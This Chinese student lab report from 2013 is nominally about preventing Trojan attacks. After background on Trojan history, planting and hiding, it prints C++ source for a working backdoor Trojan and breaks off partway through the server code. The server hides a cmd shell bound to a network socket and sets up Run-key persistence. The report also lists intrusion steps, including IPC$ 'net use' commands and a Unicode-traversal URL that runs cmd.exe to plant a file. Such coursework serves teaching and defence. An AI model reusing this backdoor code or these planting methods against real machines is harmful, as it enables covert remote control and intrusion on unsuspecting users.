版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
PAGE沈阳工程学院实训报告实训题目:信息安全专题设计与实践——木马攻击预防与技术系别信息工程学院班级信安本101学生姓名孙璐学号2010415103指导教师张小瑞郑秀颖刘娜实训进行地点:信息工程系网络实验室任务下达时间:2013年11月18日起止日期:2013年11月18日起——至2013年12月20日止《信息安全专题设计与实践》任务书一、性质、任务和基本要求《信息安全专题设计与实践》是一门以项目设计和技术开发、综合集成为主要方式的综合设计与实践课程,是计算机科学与技术专业信息安全方向的必修实验课程。通过专题项目的设计、开发和集成,要求学生把理论与实践相结合,加深对专业概念和原理的理解,强化学生的设计能力、技术开发能力和综合集成能力,达到巩固专业知识,改善教学质量,培养学生的创新性开发和实践能力,为后续的毕业设计环节以及将来的实际工作打好坚实的基础。二、专题设计的具体内容《信息安全专题设计与实践》要求学生综合利用本课程的有关知识,在教师的指导下,针对特定的某一专题方面的具体问题,完成从项目的需求分析、设计、到技术开发、综合集成、测试等实现过程,最终实现一个较为完整的硬件或软件系统。下面是各个阶段的具体内容。⒈项目分析制订要开发或完成的安全系统的安全目标。本阶段应该对整个系统情况作全面的、详细的调查,分析该系统可能面临安全风险和安全威胁。⒉制订系统安全策略根据阶段一分析的结果,制订为保护系统安全所要采取的安全策略,说明所采用的安全策略与系统所面临的安全风险和可能遭受的安全攻击之间的关系,描述这种安全策略是如何降低系统安全风险的。说明要实施这种安全策略,需要采用何种安全技术或产品。⒊系统的实现根据前两个阶段的分析设计结果,通过编程或选用集成合适的工具产品,完成该系统的实现。实现过程是对安全技术的综合运用和裁剪过程,是学生综合能力的运用和体现。本阶段要求学生写出详细的实现过程、步骤。对于编程实现的,要求描述主要的算法流程和数据结构。对于产品部署和应用的,要求写出详细的配置和部署的环境和功能。最后,要求针对实现进行分析,说明该实现对系统安全需求的满足程度、实现中的不足以及可以进一步改进和提高的地方。三、实训要求专题设计题目要求紧密围绕密码学、软件安全、网络安全、系统安全相关的教学内容,通过专题设计这种实践性教学环节,深入理解和巩固信息安全的的基本概念、基本原理方法、安全技术等主要相关知识点,提高学生技术开发和解决实际问题的能力,锻炼学生对安全技术的综合运用能力。专题设计可以按每人一个题目进行,也可以把一个完整的较大的题目分解,由2-3人合作完成。鼓励学生发挥自主创新性,自主提出专题设计题目,提高学生发现问题的能力和对信息安全的兴趣。学生自主提出的题目,经指导教师审核认可后,方可以按照该题目进行专题设计任务。参考选题PKI和PMI系统设计与部署安全的远程控制与访问系统基于开源的防火墙系统的定制与开发蜜罐蜜网系统设计与实现内网加密防护系统的设计与实施操作系统安全审计系统的设计与实现WEB渗透技术的分析与实现嵌入式防火墙系统嵌入式漏洞扫描系统四、实训报告要求专题设计的设计报告是学生对本次专题设计的全面总结,应该反映每个设计阶段的设计思路和设计内容。该设计报告,应作为整个专题设计评分的书面依据和存档材料。设计报告一般要以固定规格的纸张(如A4)书写或打印并装订,字迹及图形要清楚,工整,规范。内容及要求如下:⑴设计任务、要求及所用软硬件环境或工具介绍。⑵专题设计内容中要求的分析设计结果。⑶实现过程和结果⑷验收情况,总结五、成绩评定标准专题设计的成绩评定以选定课题的难易度,完成情况和设计报告为依据综合评分。从总体来说,所设计的系统应该符合设计要求,设计过程中的每一个阶段均应提供正确的文档(设计报告),设计报告要符合规范要求。序号报告内容所占比重评分原则不给分及格中等良好优秀1问题描述5%没有不完整基本正确描述正确描述准确2设计思想10%没有不完整基本可行方案良好很有说服力3具体设计的正确性70%不正确不完整基本正确正确,清晰正确,清晰4组内是否前后一致5%不一致有些不一致基本一致一致完全一致5其他10%包括是否按时完成,报告格式,字迹、语言等等六、参考资料1.石志国,薛为民,尹浩编著,计算机网络安全教程,北方交通大学出版社,2007年1月2.(美)斯托林斯(Stallings,W.)著,孟庆树等译,密码编码学与网络安全——原理与实践(第四版),电子工业出版社,2006年11月3.(美)马里克(Malik,S.)著;王宝生,朱培栋,白建军译,网络安全原理与实践,人民邮电出版社,2008年08月4.周继军,蔡毅主编,网络与信息安全基础(重点大学计算机专业系列教材),清华大学出版社,2008年08月。5.张敏波编著,网络安全实战详解(企业专供版),电子工业出版社,2008年05月6.杨波等编著.现代密码学,清华大学出版社,2003年.7.关振胜等编著.公钥基础设施PKI及其应用,电子工业出版社,2008年.8.傅建明,彭国军,张焕国编著.计算机病毒分析与对抗,武汉大学出版社,2004年.9.陈志雨等编著,计算机信息安全技术应用,电子工业出版社,2005年.10.
胡铮等编著,
网络与信息安全,清华大学出版社,2006年.11.王景中,徐小青等编著,计算机通信信息安全技术,清华大学出版社,2006年.12.楚狂等编著,网络安全与防火墙技术,人民邮电出版社,2000年.13.胡建伟等编著,网络对抗原理,西安电子科技大学出版,2004年.14.杜晔
张大伟
范艳芳.网络攻防技术教程:从原理到实践,武汉大学出版社,2008年.
实训成绩评定表序号报告内容所占比重评分原则最后得分不给分及格中等良好优秀1问题描述5%没有不完整基本正确描述正确描述准确2设计思想10%没有不完整基本可行方案良好很有说服力3设计的正确性70%不正确不完整基本正确正确,清晰正确清晰4前后一致5%不一致有些不一致基本一致一致完全一致5其他10%包括是否按时完成,报告格式,字迹、语言等等总分最后成绩指导教师签名(盖章):信息安全专题设计与实践摘要PAGEII摘要在网络信息系统中,木马技术由于其隐蔽性、远程可植入性和可控制性等特点,已成为黑客攻击或不法分子入侵或控制其他人网络或计算机系统的重要工具,因此,研究和分析各种木马的工作原理和功能。木马种植的技巧和思路、木马自启动以及隐藏的方法,进而针对一些典型的木马攻击提出了相应的解决方法,建立一套相对比较完善的防御体系,是主动防范木马入侵或者攻击的有效方法之一,也是维护信息系统安全的重要任务。为了从源头上了解和认识木马,以便减少被木马攻击带来的危害,本文系统地研究和分析了各种木马的工作原理和功能、木马种植的技巧和思路、木马自启动以及隐藏的方法,以及木马发展的历史和今后的发展方向,并针对一些典型的木马攻击提出了相应的解决方法,可为从事网络管理活动的机构和个人借鉴与参考,推动我国网络信息化的健康发展。关键词:木马技术;远程控制;NET类;信息安全专题设计与实践Abstract
AbstractInthenetworkinformationsystems,theTrojantechniquehasbeenusedastheimportanttoolbyhackersorlawlesspersonstoinvadeorcontrolothernetworkorcomputerbecauseofitsspecialityofconcealment,remoteloadingandcontrol.WemustunderstandthetrojanhorsefromsourcesothatwecanreducethedamagebroughtbytheTrojanhorse.Thisthesissystematicallystudiesandanalyzestheprincipleandfunctionofvarioustrojanhorses,thetechniquesandideasoftrojanloading,thestartupmethodsandhiddenmethodsofthetrojanhorses,andthehistoryandthedevelopmentdirectionofthetrojanhorses.Byprovidingacorresponsiveresolventforthosetypicaltrojanhorseattack,thistheiswiilbeusedasthereferencefororganizationsandpersonnelsintheirengaginginthenetworkmanagemantactivity.Anditwouldbehelpfulinimpellinghealthydevelopmentofnetworkinformationsystem,Keywords:
Trojanhorse;Internet;Attack;Protection;leaks;backdoor;信息安全专题设计与实践目录PAGEIII目录摘要 IAbstract II第1章绪论 11.1选题背景 11.2研究现状 31.3主要工作 3第2章程序设计平台 -4-2.1开发工具 -4-2.2开发语言 -4-第3章主要原理 -5-3.1木马工作原理 -5-3.2木马种植原理 -5-3.3木马隐藏原理 -7-3.4木马通信原理 -7-第4章系统分析与设计 -9-4.1整体设计 -9-4.2系统功能、结构设计,软件流程图 -9-4.2.1软件的功能结构图如下 -9-4.2.2后门技术 -10-4.2.3总体流程 -10-4.3程序清单及说明 -10-4.3.1程序清单 -10-4.3.2程序代码及说明 -10-4.4软件流程图如下 -21-4.5实验结果及结论 -22-第5章木马的防范措施 -25-结论 -28-参考文献 29信息安全专题设计与实践第1章绪论-PAGE3-第1章绪论1.1选题背景随着信息技术的飞速发展,计算机和计算机通信网络己经成为当今社会不可缺少的基本组成部分,依托互联网技术的全球信息化浪潮冲击和深刻影响着人类政治、经济、社会的方方面面,对经济发展、国家安全、国民教育和现代管理都起着重要的作用。随着网络技术和信息化应用范围的不断扩大,网络信息应用领域开始从传统的、小型业务系统逐渐向大型、关键业务系统扩展,如政府部门业务系统、金融业务系统、教育科研系统等等。但随着网络应用的增加,以计算机信息系统为犯罪对象和犯罪工具的各类新型犯罪活动不断出现。网络安全风险也不断暴露出来,网络信息安全问题已经成为制约各类网络信息系统实用化和进一步发展的不可忽视因素,对一些关系国民经济的重要信息系统和关系国家安全的网络信息系统,己经到了非解决不可的地步。其中,利用木马技术入侵、控制和破坏网络信息系统,是造成网络信息安全问题的典型表现之一。木马是一种基于C/S模式的远程控制技术,能在被监控对象毫无察觉的情况下渗透到对方系统并隐藏在合法程序中的计算机程序。一旦植入和触发成功,控制端与被控制端之间就能遵照TCP/IP协议进行数据通信,从而使得控制者获取被控制者的相关信息。它们通常以欺骗为手段,在用户不知情的情况下进行安装,并暗中把所获的机密信息发送给第三者,威胁用户电脑中的数据安全并侵犯个人隐私,严重影响了人们正常工作和生活。2008年1月至10月,瑞星公司共截获新病毒样本930余万个,其中绝大部分(776万)是盗号木马、后门程序,专门窃取网游账号、网银账号等虚拟财产,具有极其明显的经济利益特征。时隔两年,不断有新的木马病毒被发现,社会上己经掀起一个木马研究的热潮。正是在这样的背景下,我的课题主要设计一个简单的木马程序,进一步地了解木马程序的结构和实现原理,加深对相关知识的了解,进而提高对木马的防范水平。课题的相关背景计算机世界中的特洛伊木马的名字来自著名的特洛伊战记。故事说的是在古希腊时代,希腊人和特洛伊人发生了战争,在围困特洛伊城长达整整十年后仍不能攻陷。后来希腊人把一批勇士藏匿于巨大无比的木马后退兵,当特洛伊人将木马作为战利品拖入城内时,高大的木马正好卡在城门间,进退两难,夜晚木马内的勇士们爬出来,与城外的部队里应外合而攻下了特洛伊城。而计算机世界的特洛伊木马(Trojan)是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和拒绝服务攻击等特殊功能的后门程序。世界上第一个计算机木马是出现在1986年的PC-Write木马。它伪装成共享软件PC-Write的2.72版本(事实上,编写PC-Write的Quicksoft公司从未发行过2.72版本),一旦用户信以为真运行该木马程序,那么他的下场就是硬盘被格式化。此时的第一代木马还不具备传染特征。1989年出现了AIDS木马。由于当时很少有人使用电子邮件,所以AIDS的作者就利用现实生活中的邮件进行散播:给其他人寄去一封封含有木马程序软盘的邮件。之所以叫这个名称是因为软盘中包含有AIDS和HIV疾病的药品,价格,预防措施等相关信息。软盘中的木马程序在运行后,虽然不会破坏数据,但是他将硬盘加密锁死,然后提示受感染用户花钱消灾。可以说第二代木马已具备了传播特征(尽管通过传统的邮递方式)。但随着Internet的普及,新一代的木马出现了,它兼备伪装和传播两种特征并结合TCP/IP网络技术四处泛滥。木马的主要目标也不再是进行文件和系统的破坏,而是带有收集密码,远程控制等功能,这段时期比较有名的有国外的BO2000(BackOrifice)和国内的冰河木马。它们有如下共同特点:基于网络的客户端/服务器应用程序。具有搜集信息、执行系统命令、重新设置机器、重新定向等功能。当木马程序攻击得手后,计算机就完全成为黑客控制的傀儡主机,黑客成了超级用户,用户的所有计算机操作不但没有任何秘密而言,而且黑客可以远程控制傀儡主机对别的主机发动攻击,这时候被俘获的傀儡主机成了黑客进行进一步攻击的挡箭牌和跳板。这时期的木马比较显著的特点是以单独的程序形势存在,带来的问题是木马的网络行为很容易被一些个人防火墙所阻断,为了解决这个问题,一个新的技术被广泛应用,这就是进程注入技术。进程注入技术是将代码注入到另一个进程,并以其上下文运行的一种技术,木马经常注入自己到IE浏览器中,由于IE浏览器经常需要访问网络,因此在防火墙弹出是否允许IE浏览器访问网络时,用户经常会点击允许,殊不知自己机器中的木马已经偷偷地去连接网络了。但对于杀毒软件来说,使用成熟的特征码杀毒技术仍然可以通过和对病毒同样的处理手段对此时的木马进行查杀。但从04年开始,一切变得不一样了。2004年,在黑客圈子内部,有人公开提出免杀技术,这种技术是针对杀毒软件的特征码直接修改木马的二进制代码,由于当时还没有强有力的工具出现,所以一般都使用WinHEX工具逐字节更改,需要相当的技术能力,这种手工方式只在少数黑客内部流传。2005年,著名的免杀工具CCL一个自动化的特征码定位工具被公布,这使得免杀技术在很短的时间内开始公开化,一批黑客站点有意或无意的宣传使得越来越多的人开始讨论免杀技术,各大杀毒软件面临严重的信任危机,一个懂一点基本的PE文件知识与免杀工具的使用的初学者就可以轻易编辑一个木马,修改其特征码使其躲过杀毒软件的检测,据统计,著名木马灰鸽子曾在短短一年之内出现超过6万个变种,绝大部分都源于免杀技术的普及。同样也是在这一年,一些杀毒厂商提出“主动防御”的概念,这门听起来显得很专业的技术是用来增强已经对木马不再构成杀伤力的特征码识别技术,通过对病毒行为规律分析、归纳、总结,并结合反病毒专家判定病毒的经验,提炼成病毒识别规则知识库。模拟专家发现新病毒的机理,通过对各种程序动作的自动监视,自动分析程序动作之间的逻辑关系,综合应用病毒识别规则知识,实现自动判定新病毒,达到主动防御的目的。通过这种技术,在木马访问网络,注入进程等行为发生时杀毒软件会及时通告给用户,虽然还不完善,但至少还是可以对未知的木马做出一定的预警。另一个有变革性意义的技术是安全厂商推出的云安全技术,这项技术将从过去由用户受到攻击之后再杀毒到现在的侧重于防毒,实现一个根本意义上的转变。当前已经出现的云安全实现原理大概可以分为两种:一种是由趋势科技提出的“SecureCloud”,以Web信誉服务(WRS)、邮件信誉服务(ERS)和文件信誉服务(FRS)为基础架构的云客户端安全架构,把病毒特征码文件保存到互联网云数据库中,令其在端点处保持最低数量用于验证。其核心在于两点:①对复合式攻击的拦截。通过对疑似病毒组件各部分外延属性进行检查,判断威胁程度;②瘦客户端。大量的病毒特征码保存在云数据库中。简言之,趋势科技云安全技术基于其拥有庞大的服务器群和并行处理能力,构架了一个庞大的黑白名单服务器群,用于客户端查询,在Web威胁到达最终用户或公司网络之前即对其予以拦截。国内安全厂商瑞星也提出了云安全的概念,与趋势科技服务器群“云”不同,瑞星的“云”则建立在广大的互联网用户上。通过在用户客户端安装软件监控网络中软件行为的异常,将发现的疑似木马、恶意程序最新信息推送到瑞星的服务器进行自动分析和处理,然后再把病毒和木马的解决方案分发到每一个客户端。以上两种云安全概念采用的是两种完全不同的模式。趋势科技强调的是阻止外来威胁,基础是庞大的服务器群;瑞星强调的则是对用户计算机上业已存在的未知威胁进行感知,基础是必须拥有大量的客户端用户。这两种模式都有一定的缺陷,趋势科技忽略了对本机威胁的收集,而瑞星的云安全则只能被动防守,不能在未知威胁进入到电脑前进行拦截。但另一方面,无论哪种云安全概念,都可以缩短杀毒软件的响应时间,从整个互联网的层面上最大程度地确保客户系统的安全。1.2研究现状国内对网络攻防的研究表现为信息战、网络战等,其注意力是军事战场上的信息和网络系统的较量,代表性的成果是我国著名学者沈伟光的信息战思想。大多研究侧重在管理层面上讨论,涉及的技术层面相对较少。国外对网络攻防的研究明显倾向于理工科式的逻辑思维,不少专家、学者从各自学科领域的角度阐述网络对抗的思想,出现了许多对抗模式、模型来解析对抗这一博弈过程;将攻防看成是跨领域的课题予以探讨,重点仍是孤立地研究单独的攻击或防御的数学模型、体系结构等,对攻防的整体性把握仍有欠缺。对于网络安全,比较而言,国内研究的是重点领域(军事),国外探索的整个人类社会的全过程、多领域,前者比较细致但不精确,后者比较全面但不专一。很少有人专门把攻击和防御作为一个整体、一对矛盾单独考察,也鲜有文献或著作把攻防当作一门独立的学问或艺术予以研究。以前的研究总是将这本是一体的事物割裂开来加以讨论,得出的结果往往就是“矛与盾”的评价。网络安全本身就没有固定的尺度和科学的标准来衡量,迫切需要新的可视化的标准对其规范。1.3主要工作计算机网络入侵会给系统带来灾难性的后果,为了降低网络入侵带来的风险,可以运用网络攻防实验来模拟网络入侵。本文阐述了攻防实验是对系统风险评估的有效手段,是信息安全技术的重要组成部分。攻防实验在刚起步的时候仅仅是对信息安全技术的有效提升,而之后它的重要性会逐渐增加并开始成为信息系统风险评估的重要技术补充。重点从技术的角度叙述了攻防实验的主要方法,从而使攻防实验井然有序地进行。信息安全专题设计与实践第2章程序设计平台4-
第2章程序设计平台2.1开发工具本课程设计使用了MicrosoftVisualStudio6作为开发工具,使用C#作为开发语言。VisualStudio6提供了高级开发工具、调试功能和创新功能,帮助在各种平台上快速创建当前最先进的应用程序。开发人员能够利用这些丰富的客户端和服务器端框架轻松构建以客户为中心的Web应用程序,这些应用程序可以集成任何后端数据提供程序、在任何当前浏览器内运行并完全访问ASP.NET应用程序服务和Microsoft平台。2.2开发语言设计使用C#语言。C#与C++很相似,还借鉴了Java的许多特点。但是C#比C++更安全、比Java更高效,特别适合于Windows环境下的.NET编程。C#是一种面向对象的程序设计语言,最初是作为.NET的一部分而开发的。换句话说,.NET是围绕C#而开发的。C#的面向过程和对象的语法,是基于C++的,但也包含了另外几种程序设计语言的特征(其中最显著的是Delphi、VisualBasic和Java),C#特别强调简易性(如所需符号比C++的少、所需修饰比Java的少)。用C#进行托管代码编程,具有如下优点:完全面向对象的设计、非常强的类型安全、很好地融合了VB和C++的强大功能、垃圾内存回收、类似于C++的语法和关键字、用委托取代函数指针增强了类型安全、为程序员提供版本处理技术可解决老版本的程序不能在新DLL下运行的“动态链接库地狱”(DLLhell)问题。信息安全专题设计与实践第3章主要原理
第3章主要原理3.1木马工作原理木马是一类特殊的计算机程序,其作用是在一台计算机上监控被植入木马的计算机的情况。所以木马的结构是一种典型的客户端/服务器(C/S)模式。木马程序一般分为客户端(Clinet)和服务器端(Server),服务器端程序是控制者传到目标计算机的部分,骗取用户执行后,便植入计算机,作为响应程序。客户端是用来控制目标主机的部分,安装在控制者的计算机,它的作用是连接木马服务器端程序,监视或控制远程计算机。典型的木马工作原理是:当服务器端在目标计算机上被执行后,木马打开一个默认的端口进行监听,当客户机向服务器端提出连接请求,服务器上的相应程序就会自动运行来应答客户机的请求,服务器端程序与客户端建立连接后,由客户端发出指令,服务器在计算机中执行这些指令,并将数据传送到客户端,以达到控制主机的目的。如图3.1所示。木马客户端木马客户端木马服务端指令结果TCP/IP连接图3.1木马服务器端与客户端的通信这是木马程序的基本工作原理,其中还包括木马的种植,隐藏,通信等。下面分别就相关技术原理展开论述。3.2木马种植原理特洛伊木马大都采用客户机/服务器模式:客户端程序是在你自己的PC机上运行.服务器端程序是安装在目标主机上运行。如果你不能把服务器端程序植入目标主机,那么你的特洛伊木马程序功能再完善,也没有办法启动木马的功能。通常特洛伊木马的植入技术有以下几种:⑴通过网上邻居(即共享入侵)要求:对方打开139端口且有共享的可写目录.用法:直接将木马放入即可.⑵通过IPC$要求:双方均需打开IPC$且需要有对方的一个普通用户的帐号(具有写权限)用法:先用NET命令连上对方电脑netuse\\IP\IPC$"密码"/user:用户名再用COPY命令将木马复制到对方电脑netcopy本地木马路径远程木马路径+木马名字⑶通过网页植入要求:对方IE需要是IE未打补丁版本用法1:利用IE的IFRAME漏洞入侵.用法2:利用IE的DEBUG代码入侵.用法3:通过JS,VBS代码入侵用法4:通过ActiveX或Java程序入侵.⑷通过OE入侵.要求:对方OE未打补丁.用法:与③中的用法1,3,4相同.⑸通过WORD/EXCEL/ACCESS入侵要求:对方未对宏的运行做限制.用法1:编写恶意的宏,夹杂木马,运行office文档便植入主机中.用法2:通过OFFICE的帮助文件漏洞入侵.⑹通过Unicode漏洞入侵要求:对方有Unicode漏洞用法(举例):_blank>http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?+COPY+本地木马路径+远程路径+木马名⑺通过FTP入侵要求:对方的FTP可以匿名登陆而且可写入用法:直接将木马传上去即可.⑻通过TELNET入侵要求:具有对方的一个具有写权限的账号用法:用TELNET命令将木马传上去.⑼EXE合并木马要求:无(但用于合并木马的EXE文件体积应该尽量小,而且应该是比较熟悉的程序.)用法:用EXE文件合并器将两个EXE合并即可.⑽winrar木马入侵要求:对方安装了Winrar用法:将压缩包设置为自解压格式,并设置自动运行的选项,再将RAR图标更改.⑾文件夹惯性点击法要求:无用法:将一个木马伪装成文件夹的图标,再将其放于几层目录中.3.3木马隐藏原理(1)木马的启动隐藏方式①本地文件伪装最常用的文件隐藏是将木马病毒伪装成本地文件。木马病毒将可执行文件伪装成图片或文本在程序中把图标改成WINDOWS的默认图片图标,再把文件名改为.JPG.EXE。由于WINDOWS默认设置是不显示已知的文件后缀名,文件将会显示为.JPG,不注意的人点击这个图标就在无意间启动了木马程序。②通过修改系统配置来实现木马的启动隐藏利用配置文件的特殊作用,木马很容易就能在大家的计算机中运行。像Autoexec.bat和Config.sys。特别是系统配置文件MSCONFIG.SY中的系统启动项system.ini,window.ini是众多木马的隐藏地。Windows安装目录下的system.ini的[boot]字段中,正常情况下为boot=“Explorer.exe”,如果后面有其他的程序,如这样的内容,boot=“Explorer.exefile.exe”,这里的file.exe,可能就是木马服务端程序。另外,在System.ini中的[386enh]字段,要注意检查在此段内的driver=路径\程序名。这里也有可能被木马所利用。再有System.ini中的[drivers],[drivers32],[mci]这3个字段,也是起到加载驱动程序的作用,因此也是增添木马程序的好场所。(2)进程隐藏进程隐藏有两种情况,一种隐藏是木马程序的进程仍然存在,只是不在进程列表里;采用APIHOOK技术拦截有关系统函数的调用实现运行时的隐藏,替换系统服务等方法导致无法发现木马的运行痕迹。另外一种方法是木马不以一个进程或者服务的方式工作。将木马核心代码以线程或DLL的方式插入到远程进程中,由于远程进程是合法的用户程序,用户又很难发现被插入的线程或DLL,从而达到木马隐藏的目的。在Windows系统中常见的真隐藏方式有:注册表DLL插入、特洛伊DLL、动态嵌入技术、CreateProcess插入和调试程序插入等。3.4木马通信原理如图3.2所示,对于客户端来说要与服务器端建立连接必须知道服务器端的端口IP地址,由于客户端端口是人事先设定的,为己知项,所以最重要的是如何获得服务器端的IP地址。获得服务器端的IP地址的方法丰要有两种:信息反馈和IP扫描。所谓信息反馈是指木马成功安装后会收集一些服务端的软硬件信息,并通过E-MAIL,IRC或ICQ的方式告知控制端用户。从这封邮件中可以知道服务端的IP等。另一种获取IP的方法是IP扫描,通过IP扫描才能确定服务器端的IP地址。因为服务器端装有木马程序,所以它的木马端口7080是处于开放状态的,所以现在客户端只要扫描IP地址段中8028端口开放的主机就行了,这个IP就会被添加到列表中。这时客户端机就可以通过木马的控制端程序向服务器端发出连接信号,服务器端中的木马程序收到信号后立即做出响应,当客户端收到响应的信号后,开启一个随机端口2457与服务器端的木马端口8028建立连接,到这时一个木马连接才算真正建立。值得一提的要扫描整个IP地址段显然费时费力,一般来说控制端都是先通过信息反馈获得服务端的IP地址。木马客户端木马客户端木马服务端(:2457)(:8028)图3.2TCP/IP木马通信原理信息安全专题设计与实践第4章系统分析与设计
第4章系统分析与设计4.1整体设计本系统包含两个独立的应用程序:客户端程序和服务器端程序。使用C/S模型设计:客户向服务器提出请求,服务器接收请求后,提出相关的服务。服务器程序通常在一个已经设定的端口进行监听,也就是说,服务进程一直处于休眠状态,直到一个客户机程序提出了请求信息,此时,服务器程序被唤醒并且为客户提供服务。以上过程的网络通信是基于TCP/IP进行的,在Windows网络编程中,基本上所有的程序都是通过Socket进行的。发送发送发送通过通过读出保存写入访问指令客户端网络管理软件网络设备网络管理软件服务端指令网络设备基于TCP/IP主机1主机2图4.1系统功能模块4.2系统功能、结构设计,软件流程图4.2.1软件的功能结构图如下图4.2功能结构图4.2.2后门技术后门是一种可以绕过安全性控制而获得对程序或系统访问权的隐蔽程序或方法。利用来建立隐蔽通道,甚至植入隐蔽的恶意程序,达到非法访问或窃取、篡改、伪造、破坏数据等目的。现在后门多指系统被入侵后被安装的具有控制系统权限的程序,通过它黑客可以远程控制系统。4.2.3总体流程本章木马实例是通过C/S运行模式并结合进程与匿名管道技术来实现的,主体分为两部分:即客户端和服务端木马程序。其原理为服务端程序在目标计算机中采用自动运行模式,并打开2000端口进行监听,当客户端向服务端主动提出连接请求,服务端木马程序就会自动运行,来应答客户端的请求,从而建立连接,服务段木马程序根据客户端的指令而执行相应的操作4.3程序清单及说明4.3.1程序清单Client.cpp//客户端代码Server.cpp//服务器端代码4.3.2程序代码及说明//Client.cpp文件#include<stdio.h>//包含标准输入输出库#include<winsock.h>//包含windows套接字函数#include<iostream>usingnamespacestd;#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#defineMAXSIZE2048 //每次可以接收的最大字节#defineSEND_PORT2000//与木马程序连接的端口为2000structsockaddr_inClientAddr;//对方的地址端口信息SOCKETsock;//定义套接字变量,为全局变量DWORDstartSock()//建立套接字功能模块{ WSADATAWSAData;//将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); } sock=socket(AF_INET,SOCK_STREAM,0); //连接对方 return1;}intmain(intargc,char*argv[]){ u_intnumbyte; charbuf[MAXSIZE];//传送数据的缓冲区 charip[100]; cout<<"请输入要连接的IP地址"<<endl; cin>>ip; startSock();//调用建立套接字功能函数 ClientAddr.sin_family=AF_INET; //协议类型是INET ClientAddr.sin_port=htons(SEND_PORT); //连接对方2000端口 ClientAddr.sin_addr.s_addr=inet_addr(ip); //连接对方的IP地址 connect(sock,(structsockaddr*)&ClientAddr,sizeof(structsockaddr)); printf("远程控制木马程序菜单\r\n"); printf("add--建立Windows系统的秘密帐号\r\n"); printf("shutdown--关闭Windows计算机\r\n"); printf("reset--重新启动Windows计算机\r\n"); printf("close --关闭光驱\r\n"); printf("open --打开光驱\r\n"); printf("shell--建立cmd进程\r\n"); printf("quit --退出系统\r\n"); printf("BITgaoping\r\n"); while(1) { buf[0]='\0'; scanf("%s",buf);//输入控制指令 intiLen=strlen(buf); buf[iLen]=0xa; buf[iLen+1]='\0';//要求控制指令串最后为回车符,以示结束 numbyte=send(sock,buf,strlen(buf),0);//发出控制指令 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } numbyte=recv(sock,buf,MAXSIZE,0);//接收服务端发来的提示符 if(numbyte==SOCKET_ERROR) { closesocket(sock); break; } buf[numbyte]='\0'; printf("%s",buf);//显示服务端发来的提示符 if(strcmp(buf,"quit")==0) { closesocket(sock); return0; } } return0;}//Server.cpp文件#include<winsock2.h>//包含windows套接字函数#include<stdio.h>//包含标准输入输出函数#include<mmsystem.h>//光驱控制函数mciSendString()所需的头文件#include<iostream>//包含C++系统输入输出函数#include<string>//包含字符串处理函数usingnamespacestd;#include<winuser.h>//WinExec()函数所需的头文件#pragmacomment(lib,"Ws2_32")//将注释wsock32放置到lib文件中,否则需要加载#pragmacomment(lib,"Winmm.lib")//光驱控制函数mciSendString()所需的库#defineRECV_PORT2000//木马服务端对外响应的端口#definePATH200//程序自启动的最大路径SOCKETsock1,sock2;//sock1为服务端程序自身建立的套接字//sock2为服务端与客户端建立响应后的套接字intg1;charBuff[1024],cmd[1024];//缓冲区DWORDstartSock()//建立套接字功能模块{ WSADATAWSAData;//将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) { //MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf("sockinitfail"); return(-1); } sock1=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //建立套接字,为TCP/IP、流式格式 structsockaddr_inserverAddr;//保存套接字地址的结构体 serverAddr.sin_family=AF_INET;//规定使用IPv4协议 serverAddr.sin_port=htons(RECV_PORT);//响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; //建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr*)&serverAddr,sizeof(serverAddr)); //绑定端口与套接字 g1=listen(sock1,5);//等待监听,最大可接受5个连接请求 intserverAddrSize=sizeof(serverAddr); sock2=accept(sock1,(sockaddr*)&serverAddr,&serverAddrSize); //如果客户请求2000端口,接受连接,并返回sock2套接字 return1;}intcmdshell(SOCKETsock)//建立cmd进程功能模块{ STARTUPINFOstartinfo;//控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo)); startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; //决定本结构的每一个成员是否起作用 startinfo.wShowWindow=SW_HIDE;//窗口显示模式,隐藏格式 startinfo.hStdInput=startinfo.hStdOutput=startinfo.hStdError=(void*)sock; //标准输入输出管道 charcmdsystem[]="cmd";//cmd进程 PROCESS_INFORMATIONProcessInformation;//指向进程信息结构的指针 intg2; //下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation); //建立一个cmd.exe进程与相应的输入输出管道 WaitForSingleObject(ProcessInformation.hProcess,INFINITE);//等待子进程退出 TerminateProcess(ProcessInformation.hProcess,0); //在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);//关闭子进程句柄 return1;}DWORDstartExeFile()//自启动程序功能模块{ charExeFile[PATH];//木马程序缓冲区 charTempPath[PATH];//系统目录缓冲区 intg3; GetModuleFileName(NULL,ExeFile,PATH);//得到当前文件名 GetSystemDirectory(TempPath,PATH); //得到系统目录 strcat(TempPath,"\\server.exe");//拷贝到系统文件夹名为server.exe g3=CopyFile(ExeFile,TempPath,FALSE); HKEYkey;//关键字句柄 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS) {//创建和打开一个关键字 RegSetValueEx(key,"server",0,REG_SZ,(BYTE*)TempPath,lstrlen(TempPath)); //在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key);//关闭并保存 } return1;}DWORDOpen_CDROM()//打开光驱程序功能模块{ mciSendString("setcdaudiodooropen",NULL,0,NULL); //多媒体控制函数 return1;}DWORDClose_CDROM()//关闭光驱程序功能模块{mciSendString("Setcdaudiodoorclosedwait",NULL,1,NULL);//多媒体控制函数return1;}DWORDshutdownwin2k()//关闭Win2K程序功能模块{ HANDLE hToken; TOKEN_PRIVILEGES 